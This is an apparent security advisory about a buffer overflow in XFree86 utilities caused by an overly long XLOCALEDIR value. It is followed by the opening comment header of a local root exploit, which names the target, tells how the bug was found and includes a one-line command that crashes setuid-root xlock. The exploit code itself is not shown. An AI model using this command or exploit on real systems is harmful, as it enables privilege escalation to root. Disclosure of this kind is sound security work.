Several XFree86 utilities may be prone to a buffer overflow condition. The vulnerability exists due to insufficient boundary checks performed by these utilities when referencing the XLOCALEDIR environment variable.

A local attacker can exploit this vulnerability by setting the XLOCALEDIR environment variable to an overly long value. When the vulnerable utilities are executed, the buffer overflow vulnerability will be triggered.

/****
***
** oC-localX.c - XFree86 Version 4.2.x local root exploit
** By dcryptr && tarranta / oC
***
** Tested against: Slackware 8.1
***
** This bug was found by tarranta and dcryptr 3 january 2003.
** Its a strcpy in the xf86 libraries that we exploit, using
** the bug to get the root privileges. If you put to much data
** in the XLOCALEDIR environment variable all programs using this
** library will cause a segmnetation fault. Some wierd reason makes
** the program not execute the first 8 bytes of the shellcode.
***
** Demonstration - here we use xlock as the target
** ----------------------------------------------
**  martin@gDeU56:~$ ls -l /usr/X11R6/bin/xlock
**  -rws--x--x    1 root     bin       2193628 May 30  2002 /usr/X11R6/bin/xlock
**  export XLOCALEDIR=`perl -e 'print "A" x 6000'`
**  martin@gDeU56:~$ xlock
**  Segmentation fault
